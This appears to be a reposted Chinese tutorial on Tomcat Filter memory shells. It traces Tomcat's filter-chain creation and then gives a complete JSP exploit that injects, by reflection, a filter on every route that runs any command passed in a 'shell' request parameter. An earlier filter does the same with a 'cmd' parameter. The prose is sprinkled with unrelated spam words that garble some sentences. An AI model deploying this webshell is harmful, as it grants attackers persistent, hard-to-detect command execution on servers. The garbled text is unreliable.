Java内存马连续剧——Filter内存马

知识基础 ：

刚开始内存马的内存内存这块学习与反序列化并无太大关系，反而与javaweb，马连马tomcat联系更加紧密 。续剧所以在学习内存马之前需要先了解JSP，内存内存java web的马连马三大件，Servlet
，续剧Filter，内存内存Listener的马连马基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是续剧Filter马

内存马就是无文件木马，无文件落地，内存内存它通常会存在进程 ，源码下载马连马内存或者java虚拟机中 ，续剧特点更加隐蔽 ，内存内存难以排查
，马连马并且也难以删除。续剧而今天学习的Filter内存马是传统web应用型内存马，主要将恶意代码注入到过滤器中，当过滤器拦截servlet请求的参数时
，过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目，

1.png

然后一直点下一步就好了，它会自动帮我们生成一个简单的云计算servlet。

pom.xml中导入tomcat相关依赖：

<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.38</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>9.0.38</version> </dependency>

方便之后调试代码
，在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse; import javax.servlet.*; import java.io.IOException; public class MyFilter implements Filter{ @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤功能"); servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("cmd")); Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); } }

重写了doFilter方法 ，里面添加恶意代码 ，接收cmd参数
，执行任意命令 。web.xml中配置相关参数

<filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memoryhorse.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/MyFilter</url-pattern> </filter-mapping>

这里我定义的是/MyFilter路由，在访问这个路由时，就会被我们自定义的过滤器拦截 。

0x03 Filter内存马探索

这个时候是不是就有点像内存马的模板下载样子 ，我们注册了一个恶意的 /MyFilter 路由，访问这个路由可以执行任意代码 。测试一下
。

2.png

成功弹出计算器，这也是注入Filter内存马的一个抽象的体现
。然而在实际攻防场景中
，我们不可能在别人服务器上插入自己自定义的过滤器 ，web.xml这个配置文件也不是那么容易修改，就算修改了配置文件也很好排查
，服务器租用起不到隐秘的效果，要想动态的注册Filter马 
，就必须弄清楚过滤器的创建和调用过程 。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下个断点 ，访问/MyFilter路由
，会被我们自定义的过滤器拦截，doFilter方法是处理过滤功能的方法 ，开始调试 。源码库

3.png

这个filterChain是一个过滤器链，通过调试看到里面存放着两个过滤器，一个是我们自定义的
，一个是 tomcat 自带的 ，跟进它的doFilter方法。

判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启，这里判断false 。

4.png

跟进 internalDoFilter 方法 。

5.png

filters 是香港云服务器过滤器链数组 ，取数组的下标，遍历过滤器，赋值给filterConfig 。

6.png

此时的过滤器为WsFilter 调用它的doFilter方法，跟进看一下。

7.png

这里的判断 是否满足WebSocket握手的特殊条件
，而且是否已经配置了相应的类来处理WebSocket连接 ，如果两个都不满足，然后回调用过滤器链中的下一个过滤器。继续跟进。

又回到了 internalDoFilter 方法
 ，此时pos=2，不满足if条件。也就是说当过滤器遍历完后，就会调用 service 方法处理具体的业务请求。

8.png

事实上可以定义多个过滤器，当拦截请求后，从filterChain 中一个个调用doFilter方法 ，最终执行 service 方法 。

那么Filter链是怎么一步步创建的，我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程 。

9.png

通过执行流可以看到不断调用 invoke 方法 ，跟进最后一个 invoke方法  ，也就是 StandardWrapperValve 类的 invoke 方法。

10.png

这里已经创建好了 Filter链，往上翻代码。

11.png

createFilterChain 就是创建Filter链的重要方法，进入到这个方法下个断点，开始调试。

12.png

这里实例化一个filterChain ，设置了当前过滤器链中的 Servlet，然后获取当前 Servlet 包含在的上下文，从调式信息就可以看到是 StandardContext 对象，最后定义一个filterMaps 获取了当前上下文中的过滤器映射
 。

13.png

此时的filterMaps就获取到了两个过滤器 ，到后面会对filterMaps进行两次遍历。

这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中，以确保在请求处理过程中应用适当的过滤器
。匹配过滤器配置时，会检查 Dispatcher 类型、URL 和 Servlet 名称，然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置，继续处理下一个过滤器映射。

14.png

filterConfig 是通过调用context上下文的findFilterConfig方法获取，filterConfigs是一个Map，从里面拿。

15.png

最后通过 addFilter 方法将过滤器添加到链中 。

2.攻击思路分析

过滤器是从filterConfigs这个Map里拿的
，那么我们把恶意的Filter添加进 filterConfigs 里，等它取出来
，添加到Filter链中就可以了，那么接下来怎么构造过滤器
，也就是filterConfig ，看调试信息。

16.png

首先获取上下文context ，然后就是自定义的filter代码，最后一个filterDef就是对应web.xml中对filter的配置 ，fiterConfig的相关内容都是从context中得到。

FilterDefs ：存放 FilterDef 的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例 等基本信息 FilterConfigs：存放 filterConfig 的数组
，在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息 FilterMaps
：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对 应的 URLPattern

所以只要我们将filter
，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了。

贴上别的师傅的流程图 ：

17.png

其中这里涉及到了几个类：

ServletContext ： javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口 ，提供了Web应用所有Servlet的视图 ，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用 。并且它被所有客户端共享  。 ApplicationContext： org.apache.catalina.core.ApplicationContext 对应Tomcat容器 ，为了满足Servlet规范 ，必须包含一个ServletContext接口的实现 。Tomcat的Context容器中都会包含一个ApplicationContext
 。 StandardContext： Catalina主要包括Connector和Container ，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说 ，不是由它来进行处理，而是交给内部的valve处理。 一个context表示了一个外部应用，它包含多个wrapper
，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）

引用师傅的解释，当前这是前面tomcat架构的内容，所以基础内容还是要了解。

0x04 Filter内存马exp编写

通过反射创建上面需要的几个对象：

<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.IOException" %> <% //请求对象 request 中获取 ServletContext 对象。 ServletContext servletContext = request.getServletContext(); //ApplicationContextFacade 是 Spring 框架中的一个类，用于封装 Spring 的 Web 应用程序上下文。 ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; //通过反射获取上下文 Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeContext.setAccessible(true); // context 字段，即 Spring 的应用程序上下文对象 。通过反射获取到该字段的值 ，它被强制转换为 ApplicationContext 类型 ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade); //从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象 Field applicationContextContext = applicationContext.getClass().getDeclaredField("context"); applicationContextContext.setAccessible(true); //类型转换standardContext，标准的web应用程序上下文 StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext); //创建filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){ //构造filter对象 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("执行过滤"); } @Override public void destroy() { } }; //构造filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); //将过滤器的配置信息添加到应用程序上下文中 standardContext.addFilterDef(filterDef); //构造filterMap对象 FilterMap filterMap = new FilterMap(); //添加映射的路由为所有请求 filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //将上述设置好的过滤器映射对象添加到 StandardContext 中 ，并将其插入到已有的过滤器映射之前 standardContext.addFilterMapBefore(filterMap); //构造filterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); //将filterConfig添加到filterConfigs中，即可完成注入 hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("注入完成"); } %>

为什么要写jsp文件，因为在实际场景中 ，可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了，分步编写exp。

18.png

注入成功后，我们对服务器访问任何请求，都会执行恶意代码。而且当jsp文件删除后
，木马仍然有效。它存在当前的web应用上下文中，所以重启服务器就没了。

参考链接 ：

https://xz.aliyun.com/t/10888

本文作者：XiLitter， 转载请注明来自FreeBuf.COM